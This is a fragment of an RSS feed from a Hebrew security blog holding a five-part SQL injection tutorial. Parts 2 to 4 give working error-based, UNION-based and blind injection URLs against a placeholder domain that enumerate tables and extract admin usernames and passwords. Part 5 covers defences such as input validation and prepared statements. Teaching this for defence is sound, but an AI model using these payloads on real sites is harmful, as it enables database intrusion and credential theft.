</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=126</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;מדריך: הזרקות SQL (חלק 5) &#8211; התגוננות&#8236;</title>		<link>http://krooc.info/?p=73</link>
		<comments>http://krooc.info/?p=73#comments</comments>
		<pubDate>Sat, 16 May 2009 00:13:24 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[תוכנות וקוד פתוח]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Sql Injections]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת אתרים]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[הזרקה עיוורת]]></category>
		<category><![CDATA[הזרקות]]></category>
		<category><![CDATA[הזרקת קוד]]></category>
		<category><![CDATA[הכנסת תוכן]]></category>
		<category><![CDATA[הרשאות]]></category>
		<category><![CDATA[התגוננות]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[קוד זדוני]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=73</guid>
		<description><![CDATA[&#8235;ומה למדנו מהמדריך הארוך הזה? בעיקר &#8211; שאי אפשר לסמוך על המשתמש. ולכן תמיד צריך להתגונן ובכלל לא להגיע למצב שבו המשתמש יכול לעשות משהו כזה באתר. בשביל להתגונן בפני ההזרקות, נפעל בשיטות הבאות - SQLMAP אמורה לבדוק את פגיעות האתר. אני לא אוהב 'פתרונות קסם' אבל זה פתרון בהחלט סביר. שווה לעשות גם בדיקות [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>ומה למדנו מהמדריך הארוך הזה? בעיקר &#8211; שאי אפשר לסמוך על המשתמש. ולכן תמיד צריך להתגונן ובכלל לא להגיע למצב שבו המשתמש יכול לעשות משהו כזה באתר.</p>
<p>בשביל להתגונן בפני ההזרקות, נפעל בשיטות הבאות -</p>
<ul>
<li><a href="http://sqlmap.sourceforge.net/">SQLMAP</a> אמורה לבדוק את פגיעות האתר. אני לא אוהב 'פתרונות קסם' אבל זה פתרון בהחלט סביר. שווה לעשות גם בדיקות ידניות, בכל מקרה. מה שמוביל אותי לנושא הבא:</li>
<li>בדיקת תקינות קלט, בדיקת תקינות קלט ושוב פעם בדיקת תקינות קלט.<br />
בדיקה פשוטה של האם המשתנה הוא int או לא, או האם הקלט מכיל תווים מיוחדים כמו ', יכולה לחסוך לנו המון כאב ראש.</li>
<li>&quot;שומרי מקום&quot;<br />
בשפות תכנות אפשר ליצור &quot;שומרי מקום&quot; שיחזיקו את המקום בשאילתה בצורה מובנית, ובכך יחסמו מניפולציה של השאילתה. <a href="http://he.wikipedia.org/wiki/%D7%94%D7%96%D7%A8%D7%A7%D7%AA_SQL" target="_blank">לקריאה נוספת</a>.</li>
<p>. רעיון דומה מאוד הוא Bind Variables  בפלטפורמת Oracle (ואני דיי בטוח שגם בSQL PLUS ישנה אופציה), שמצליח למנוע SQL INJECTIONS וכן משפר את הביצועים של הDB, שכן הוא עוזר לו להשתמש בקש בצורה נכונה.</p>
<li>ובחייאת, אף פעם לא מזיק לתת לטבלאות שמות שלא עולים עליהם בשניות..</li>
</ul>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=73</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8235;מדריך: הזרקת SQL עיוורת (חלק 4)&#8236;</title>		<link>http://krooc.info/?p=69</link>
		<comments>http://krooc.info/?p=69#comments</comments>
		<pubDate>Fri, 15 May 2009 23:56:02 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Sql Injections]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת אתרים]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[הזרקה עיוורת]]></category>
		<category><![CDATA[הזרקות]]></category>
		<category><![CDATA[הזרקת קוד]]></category>
		<category><![CDATA[הכנסת תוכן]]></category>
		<category><![CDATA[הרשאות]]></category>
		<category><![CDATA[התגוננות]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[קוד זדוני]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=69</guid>
		<description><![CDATA[&#8235;הזרקה עיוורת בשביל לבדוק אם אפשר לעשות הזרקה עיוורת, מה שנעשה זה נכניס לשורת הכתובת נתון לא נכון, ונראה אם חלק מהאתר נעלם (טקסט, תמונות וכו'). לדוגמא, לאתר בכתובת הזו - http://www.domain.com/?id=2 נכניס את הכתובת הזו - http://www.domain.com/?id=2 and 1=2 כשברור שהחלק השני הוא שקר &#8211; לכן השאילתה לא אמורה להתבצע, וחלק מהאתר צריך להעלם. [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p><strong>הזרקה עיוורת</strong></p>
<p>בשביל לבדוק אם אפשר לעשות הזרקה עיוורת, מה שנעשה זה נכניס לשורת הכתובת נתון לא נכון, ונראה אם חלק מהאתר נעלם (טקסט, תמונות וכו').</p>
<p>לדוגמא, לאתר בכתובת הזו -</p>
<p>http://www.domain.com/?id=2</p>
<p>נכניס את הכתובת הזו -</p>
<p>http://www.domain.com/?id=2 and 1=2</p>
<p>כשברור שהחלק השני הוא שקר &#8211; לכן השאילתה לא אמורה להתבצע, וחלק מהאתר צריך להעלם. אם חלק מהאתר נעלם, סימן שאפשר לעשות הזרקה עיוורת על האתר.</p>
<p><strong>1. גרסאת MySQL -</strong></p>
<p>נברר מה גרסאת הSQL בצורה עיוורת &#8211; נכניס שאילתה ששואלת אם זה MySQL 4. אם שום חלק לא נעלם, זה נכון. אם לא, נחליף את השאילתה באחת ששואלת אם זה MySQL 5 &#8211; ואז נדע איזה מהגרסאות מותקנת על השרת.</p>
<p>שאילתות לבירור אם הגרסא היא 4 ו5 -</p>
<p>http://www.domain.com/?id=2 and substring(@@version,1,1)=4</p>
<p>http://www.domain.com/?id=2 and substring(@@version,1,1)=5</p>
<p><strong>2. אחרי שאנחנו יודעים את הגרסא, נמשיך עם</strong></p>
<p>http://www.domain.com/?id=2 and (select 1)=1</p>
<p>העמוד צריך להיטען כמו שצריך.</p>
<p>עכשיו צריך לבדוק אם יש לנו גישה לMySQL.user</p>
<p>http://www.domain.com/?id=2 and (select 1 from mysql.user limit 0,1)=1</p>
<p>אם יש לנו גישה זה אומר שאנחנו נוכל לשלוף סיסמאות אח&quot;כ בעזרת הפונקציות ()loadfile וOUTFILE.</p>
<p><strong>3. לגלות את שם הטבלאות והטורים</strong></p>
<p>עכשיו צריך לנחש.</p>
<p>http://www.domain.com/?id=2 and (select 1 from users limit 0,1)=1</p>
<p>אם הדף נטען בלי שחסר תוכן (כמו שצריך), אז זה אומר שהטבלה users קיימת. אם לא, צריך לנחש שוב&#8230;</p>
<p>http://www.domain.com/?id=2 and (select substring(concat(1,password),1,1) from users limit 0,1)=1</p>
<p>אם הדף נטען כמו שצריך, זה אומר שהטור password קיים. אם לא, צריך לנחש שוב&#8230;</p>
<p>ועכשיו לחלק הקשה והמעצבן, אנחנו הולכים לעבור אות אות על השם משתמש והססמא ולנסות לנחש את הערך האסקי שלהם, על ידי שימוש בשורה:</p>
<p>http://www.domain.com/?id=2 and ascii(substring((select concat(username,0x3a,password) from users limit 0,1),1,1))&gt;80</p>
<p>השורה הזו תשלוף את האות הראשונה של המשתמש הראשון בטבלת המשתמשים. הפונקציה אסקי תהפוך את זה לאות, ואז תושווה האות ל80 &#8211; אם ערך האסקי שלה גדול או קטן מ80. אם זה נכון, והערך גדול מ-80, הדף ייטען כמו שצריך. אם לא, משהו יהיה בו חסר. אז נמשיך ונגדיל את 80 עד שנגיע לדף חסר. נברר איזה תו הוא בטבלת הascii, ונעבור לאות הבאה על ידי שינוי &quot;1" המודגש בשורה. כך עד שנגיע לאות שיותר קטנה מ-0, ולכן כל מה שנכניס אליה יהיה FALSE ויציג דף חסר &#8211; וזה יסמל את הסוף.</p>
<p>ישנם כמה כלים להזרקות עיוורות. sqlmap ככל הנראה הכי מומלץ, למרות שאני מעדיף לעשות הכל באופן ידני.</p>
<p>» מדריך זה הוא חלק ממדריך אחד גדול בעל חמישה חלקים «</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=69</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;מדריך: הזרקות SQL (חלק 3)&#8236;</title>		<link>http://krooc.info/?p=62</link>
		<comments>http://krooc.info/?p=62#comments</comments>
		<pubDate>Fri, 15 May 2009 22:53:06 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Sql Injections]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת אתרים]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[הזרקה עיוורת]]></category>
		<category><![CDATA[הזרקות]]></category>
		<category><![CDATA[הזרקת קוד]]></category>
		<category><![CDATA[הכנסת תוכן]]></category>
		<category><![CDATA[הרשאות]]></category>
		<category><![CDATA[התגוננות]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[קוד זדוני]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=62</guid>
		<description><![CDATA[&#8235;עכשיו החיים נעשים קשים יותר&#8230; &#62;&#62; אם הגרסא של הMySQL היא 4 (אם היא 5 &#8211; רדו למטה) נחזיר בשורת הכתובת את המספר החסר (אצלנו זה היה 2) ונכניס גם את המילים from ואז את שם הטבלה. http://www.domain.com/?id=2 union all select 1,2,3, from admin במקרה הזה (גרסא 4) תצטרכו לנחש את שם הטבלה ואת שמות [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>עכשיו החיים נעשים קשים יותר&#8230;</p>
<p><strong>&gt;&gt; אם הגרסא של הMySQL היא 4 (אם היא 5 &#8211; רדו למטה)</strong></p>
<p>נחזיר בשורת הכתובת את המספר החסר (אצלנו זה היה 2) ונכניס גם את המילים from ואז את שם הטבלה.</p>
<p>http://www.domain.com/?id=2 union all select 1,2,3, from admin</p>
<p>במקרה הזה (גרסא 4) תצטרכו לנחש את שם הטבלה ואת שמות הטורים ברוב המקרים. שמות טבלאות נפוצים (מאוד) הם:</p>
<p>&#8230;user/s, member/s, admin/s</p>
<p>ושמות נפוצים לטורים הם:</p>
<p>user/s, username,user_name,usr, password, pwd, pass, passwd וכו'.</p>
<p>אם לא קיבלתם שום שגיאה, (ואתם שוב רואים את המסך המוכר עם אחד המספרים על המסך), סימן שניחשתם נכון והטבלה קיימת. אם לא, פשוט צריך להמשיך לנחש&#8230;</p>
<p>אחרי שמצאנו את הטבלה (נניח והיא admin), אנחנו מתחילים לנחש את שם הטור. במקום המספר שנמצא על המסך (בדוגמא שלנו זה 2), נתחיל לנחש את שם הטור, ככה:</p>
<p>http://www.domain.com/?id=2 union all select 1,username, 3, from admin</p>
<p>במידה וניחשנו נכון, צריך להופיע לנו על המסך שם המשתמש. עכשיו עושים את אותו הדבר עם הסיסמא ומנחשים את שם הטור:</p>
<p>http://www.domain.com/?id=2 union all select 1,password, 3, from admin</p>
<p>אם יש שגיאה, אז מנחשים משהו אחר. למשל pwd או כל קיצור אחר שיכול להיות. אם ניחשנו נכון, צריכה להופיע לנו הסיסמא על המסך.</p>
<p>עכשיו יכול להיות שהיא תהיה מוצפנת (בעזרת פונקציית גיבוב כמו md5).</p>
<p>בשביל לסדר את זה בצורה נוחה, נשתמש בפונקציה ()concat שבעצם מחברת בין מחרוזות. נחבר בין מחרוזת שם המשתמש, התו נקודותיים (:) והסיסמא, כך:</p>
<p>http://www.domain.com/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin</p>
<p>ועכשיו אפשר להיכנס בתור משתמש כל יכול מנהל וכו'.</p>
<p><strong>&gt;&gt; במידה וגרסאת הMySQL היא 5</strong></p>
<p>אז נשתמש בטבלת information_schema.tables המסופקת עם הגרסא החדשה, שמכילה את כל שמות הטבלאות. נכתוב בשורת הכתובת:</p>
<p>http://www.domain.com/?id=2 union all select 1,table_name, 3, from information_schema.tables</p>
<p>אנחנו אמורים לראות את שמות כל הטבלאות במסד הנתונים.</p>
<p>נסדר טיפה את התוצאות, בכך שניקח מהן רק תוצאה אחת, ונתחיל מהתוצאה ה-0. כלומר, רק התוצאה הראשונה:</p>
<p>http://www.domain.com/?id=2 union all select 1,table_name, 3, from information_schema.tables limit 0,1</p>
<p>במידה והטבלה שלנו לא מספקת, אז אפשר תמיד להמשיך ולהגדיל את המספרים בlimit &#8211; כלומר, לקחת תוצאה אחת החל מהתוצאה השלישית (3,1) או לקחת שלוש תוצאות החל מהתוצאה הרביעית (4,3) וכו', עד שאנחנו מגיעים למשהו מועיל כמו admins או poll_users וכו'.</p>
<p>בשביל לגלות את שם הטור, נשתמש באותה שיטה:</p>
<p>http://www.domain.com/?id=2 union all select 1,column_name, 3, from information_schema.columns limit 0,1</p>
<p>וכו', עד שאנחנו יודעים גם את שם הטור.</p>
<p>נניח ונרצה להציג רק את הטורים של טבלה ספציפית (נקרא לה users, למשל), נכניס את השורה הבאה (עם השינויים המתאימים כמובן):</p>
<p>http://www.domain.com/?id=2 union all select 1,column_name, 3, from information_schema.columns where table_name='users'</p>
<p>ונניח שמצאנו את שם הטבלה ואת שמות הטורים, כל מה שנותר לנו לעשות זה לחבר את הטורים יחדיו עם הפונקציה ()concat, כמו שהוסבר במקטע לגרסא 4:</p>
<p>http://www.domain.com/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin</p>
<p>ויש לנו שם משתמש וסיסמא&#8230;</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=62</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;מדריך: הזרקות SQL (חלק 2)&#8236;</title>		<link>http://krooc.info/?p=59</link>
		<comments>http://krooc.info/?p=59#comments</comments>
		<pubDate>Fri, 15 May 2009 22:03:45 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Sql Injections]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת אתרים]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[הזרקה עיוורת]]></category>
		<category><![CDATA[הזרקות]]></category>
		<category><![CDATA[הזרקת קוד]]></category>
		<category><![CDATA[הכנסת תוכן]]></category>
		<category><![CDATA[הרשאות]]></category>
		<category><![CDATA[התגוננות]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[קוד זדוני]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=59</guid>
		<description><![CDATA[&#8235;לימוד המערכת כל פריצה מתחילה בשלב של לימוד המערכת. קודם כל, צריך לבדוק האם האתר עצמו הוא פריץ (ניתן לפריצה) או לא. בשביל שאתר יהיה פריץ, צריכים לוודא קודם כל שאכן יש שימוש במסד נתונים (ובשאילתות SQL). כדי לדעת, פשוט נסתכל אל שורת הכתובת. אם שורת הכתובת מכילה פרמטרים משתנים, סביר מאוד להניח שהיא משתמשת [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p><strong><em>לימוד המערכת</em></strong></p>
<p>כל פריצה מתחילה בשלב של לימוד המערכת. קודם כל, צריך לבדוק האם האתר עצמו הוא פריץ (ניתן לפריצה) או לא. בשביל שאתר יהיה פריץ, צריכים לוודא קודם כל שאכן יש שימוש במסד נתונים (ובשאילתות SQL). כדי לדעת, פשוט נסתכל אל שורת הכתובת. אם שורת הכתובת מכילה פרמטרים משתנים, סביר מאוד להניח שהיא משתמשת בSQL, ולכן &#8211; אולי פריצה.</p>
<p>שורה לדוגמא, המכילה פרמטרים משתנים:</p>
<p style="text-align: left;"><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=" href="http://www.domain.com/?id=">http://www.domain.com/?id=</a><strong>2</strong></p>
<p style="text-align: right;"><strong>1. בדיקה האם האתר פריץ.<br />
</strong></p>
<p>כדי לבחון אם האתר פריץ או לא, במקום 2, נוסיף את התו ', וניכנס לעמוד. שורת הכתובת שלנו תיראה עכשיו כך:</p>
<p style="text-align: left;">'<a class="linkification-ext" title="Linkification: http://www.domain.com/?id=" href="http://www.domain.com/?id=">http://www.domain.com/?id=</a><strong>2</strong></p>
<p style="text-align: right;">במידה וקיבלנו הודעת שגיאה, שהולכת בערך ככה:</p>
<blockquote>
<p style="text-align: left;">&quot;&#8230;You have an error in your SQL syntax; check the manual&quot;</p>
</blockquote>
<p style="text-align: right;">סימן שהאתר פגיע, ואפשר להשתמש בהזרקה רגילה.</p>
<p style="text-align: right;"><strong>2. מציאת מספר הטורים בטבלה.</strong></p>
<p style="text-align: right;">אחרי שקיבלנו את הודעת השגיאה, נוריד את ה-' ונשים אחרי הפרמטר (בדוגמא &#8211; 2) את המילים &quot;order by 1". ניכנס לתוצאה. לא אמורה להיות הודעת שגיאה. נתחיל ונעלה בהדרגה את המספר שאחרי הorder by עד שתהיה לנו שגיאה כלשהי.</p>
<p style="text-align: left;"><strong> אין שגיאה // </strong><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> <strong>order by 1<br />
</strong></p>
<p style="text-align: left;"><strong> אין שגיאה // </strong><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> <strong>order by 2</strong></p>
<p style="text-align: left;"><strong> אין שגיאה // </strong><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> <strong>order by 3</strong></p>
<p style="text-align: left;"><strong> יש שגיאה! // </strong><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> <strong>order by 4</strong></p>
<p style="text-align: left;"><strong> </strong></p>
<p style="text-align: right;">נניח וכשהכנסנו את order by 4 הייתה שגיאה. (משהו בסגנון Unknown column '4' in 'order clause'). זה אומר שיש לנו 3 טורים סה&quot;כ (יכולים להיות הרבה יותר).</p>
<p style="text-align: right;"><strong>3. בחירת מידע עם Union.</strong></p>
<p style="text-align: right;">הפונקציה UNION עוזרת לנו לבחור הרבה מידע עם מעט טקסט.</p>
<p style="text-align: left;"><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> union all <strong>select 1,2,3</strong></p>
<p style="text-align: right;">שימו לב שגילינו בסעיף 2 שיש לנו 3 טורים. יכולים להיות הרבה יותר.</p>
<p style="text-align: right;">אם הכל הלך כמו שצריך, אנחנו אמורים לראות את אחד (או יותר) מהמספרים על המסך. (כלומר 1,2,3)</p>
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: left;"><strong> </strong></p>
<p style="text-align: left;">
<p style="text-align: left;"><strong> </strong></p>
<p><strong>4. מציאת גרסאת הMySQL על השרת.</strong></p>
<p>אם הכל הלך כמו שצריך עד עכשיו, אז גם השלב הבא צריך לעבור חלק. היה לנו עד עכשיו -</p>
<p style="text-align: left;"><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> union all <strong>select 1,2,3</strong></p>
<p style="text-align: right;">ונניח שהופיע לנו המספר 2 על המסך. אז אנחנו נוסיף את הפונקציה ()version או version@@ (שימו לב לכתוב נכון) במקום המספר שהופיע על המסך, בשביל לרשום את הגרסא של הMySQL במקומו על המסך. שורת הכתובת שלנו צריכה להראות בערך כך -</p>
<p style="text-align: left;"><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> union all select 1,@@version,3</p>
<p style="text-align: right;">כיום, ישנן שתי גרסאות נפוצות של MySQL. גרסא ארבע וגרסא חמש. המספר 2 צריך להתחלף בעמוד עצמו למספר הגרסא &#8211; שזה אומר או ל-4 או ל-5 (נקודה משהו משהו&#8230;) אבל לנו משנה רק הספרה הראשונה &#8211; ארבע או חמש.</p>
<p style="text-align: right;">במידה ומשהו השתבש, ואנחנו רואים ארור שהולך בערך ככה:</p>
<blockquote>
<p style="text-align: right;">&quot;union + illegal mix of collations (IMPLICIT + COERCIBLE) &#8230;&quot;</p>
</blockquote>
<p style="text-align: right;">אז אנחנו צריכים להשתמש בפונקציית convert(), ובעצם להחליף את הפונקציה שהייתה לנו בשורת הכתובת בפונקציה שעברה שינוי. שורת הכתובת שלנו צריכה להראות בערך כך -</p>
<p style="text-align: left;"><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> union all select 1,convert(@@version using latin1),3</p>
<p style="text-align: right;">או, אפשרות נוספת היא להשתמש בhex() ובunhex(), כך:</p>
<p style="text-align: left;"><a class="linkification-ext" title="Linkification: http://www.domain.com/?id=2" href="http://www.domain.com/?id=2">http://www.domain.com/?id=2</a> union all select 1,unhex(hex(@@version)),3</p>
<p style="text-align: right;">ואז תראו את הגרסא של הMySQL.</p>
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: right;">
<p style="text-align: right;">
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=59</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8235;מדריך: התגוננות מפני הזרקת SQL (חלק 1)&#8236;</title>		<link>http://krooc.info/?p=55</link>
		<comments>http://krooc.info/?p=55#comments</comments>
		<pubDate>Fri, 15 May 2009 21:37:12 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Sql Injections]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת אתרים]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[הזרקה עיוורת]]></category>
		<category><![CDATA[הזרקות]]></category>
		<category><![CDATA[הזרקת קוד]]></category>
		<category><![CDATA[הכנסת תוכן]]></category>
		<category><![CDATA[הרשאות]]></category>
		<category><![CDATA[התגוננות]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[קוד זדוני]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=55</guid>
		<description><![CDATA[&#8235;הזרקות SQL היא כיום אולי הדרך המהירה והקלה ביותר לפריצה לאתרים לא מאובטחים. הרבה מהפריצות נעשות על ידי ניצול פרצת האבטחה הזו של GET, ולמעשה, ברגע שהאקר שולט כמו שצריך בהזרקות, יש לו את הכלי להכנס לעולם ההאקינג. ישנם כמה וכמה מדריכים ברשת, אבל אף אחד מהם לא מסביר כמו שצריך (ובעברית!) את הנושא, ולא [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p><strong>הזרקות SQL </strong>היא כיום אולי הדרך המהירה והקלה ביותר לפריצה לאתרים לא מאובטחים. הרבה מהפריצות נעשות על ידי ניצול פרצת האבטחה הזו של GET, ולמעשה, ברגע שהאקר שולט כמו שצריך בהזרקות, יש לו את הכלי להכנס לעולם ההאקינג.</p>
<p>ישנם כמה וכמה מדריכים ברשת, אבל אף אחד מהם לא מסביר כמו שצריך (ובעברית!) את הנושא, ולא מספק כלים מספיק חזקים בשביל ללמד את הנושא הכל-כך חשוב הזה, ואם לא יודעים על הנושא הזה &#8211; אז גם לא יודעים להתגונן מפניו. אני אשתדל ליצור מדריך שלא יחפור יותר מדי, וילמד כמו שצריך את הנושא.<br />
<strong><br />
קרדיטים<br />
</strong><br />
במדריך זה השתמשתי בכמה מקורות. הראשון, הוא מדריך מצוין של משתמש בשם מארצי. <a href="http://krooc.info/uploads/docs/sqlguide.txt" target="_blank">המדריך המקורי באנגלית</a>. המקור השני הוא הספר &quot;אבטחת מידע והגנה מפני האקרים&quot; של דורון סיוון בהוצאת הוד-עמי, שמספק רקע תיאורטי על המון נושאים בנושאי אבטחה (אם כי לא מצטיין בהבאת דוגמאות).</p>
<p><strong>רקע תיאורטי</strong></p>
<p>הזרקת SQL היא התקפה המבוססת על כך שהמתכנת כתב מספר שאילתות עבור שימוש שוטף, וההאקר משתמש בהן כדי לבצע פעולות שונות.</p>
<p><strong>איך אנחנו מחפשים פרצות</strong></p>
<p>בעקרון מה שאנחנו עושים זה כל הזמן משחקים עם שורת הכתובת, ומשנים אותה בהתאם לבאגים שאנחנו רואים באתר. המטרה שלנו היא לנצל את העובדה שחלקיק הכתובת הוא בעצם חלק ישיר משאילתת הSQL אותה יצר המתכנת &#8211; וזהו חלקיק שאותו אנחנו יכולים לשנות. לכן, אנחנו נשחק עם שורת הכתובת כדי לגלות פרטים על השרת, לגלות סיסמאות ונתונים או, במקרה הכי גרוע, להפיל את הטבלה כולה. אם לבעל האתר אין גיבוי &#8211; זה יחסל את האתר שלו לגמרי.</p>
<p><strong>סוגי הזרקות</strong></p>
<p>ישנם שני סוגי הזרקות, בהם אנחנו משתמשים. שניהם מבוססים על אותה טכניקה, אבל ההבדל בינן הוא איך השרת מגיב לפעולות שלנו.</p>
<p>* הזרקה &quot;רגילה&quot; &#8211; אנחנו משנים את שורת הכתובת, ומקבלים הודעות שגיאה בחזרה מהשרת, ובעזרת ההודעות אנו מנתבים את דרכנו אל המידע.<br />
* הזרקה &quot;עיוורת&quot; &#8211; החלק הקשה של הפריצה &#8211; אנו משנים את שורת הכתובת, ואילו השרת לא מחזיר בתגובה שום הודעות שגיאה, אלא רק מראה את העמוד כרגיל או מחסיר חלק מהנתונים בעמוד. (פתאום חלק מהטקסט נעלם, או חלק מהתמונות). ברור שהזרקה עיוורת הרבה יותר קשה מהזרקה רגילה, אבל לפעמים אין ברירה.</p>
<p>במדריך זה אשתדל לעבור על שני הסוגים.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=55</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;כנסים בישראל של אלפיים ותשע&#8236;</title>		<link>http://krooc.info/?p=28</link>
		<comments>http://krooc.info/?p=28#comments</comments>
		<pubDate>Fri, 15 May 2009 09:29:47 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[כללי]]></category>
		<category><![CDATA[תכנות ואבטחת מידע]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[ישראל]]></category>
		<category><![CDATA[כנס]]></category>

		<guid isPermaLink="false">http://krooc.info/blog/?p=28</guid>
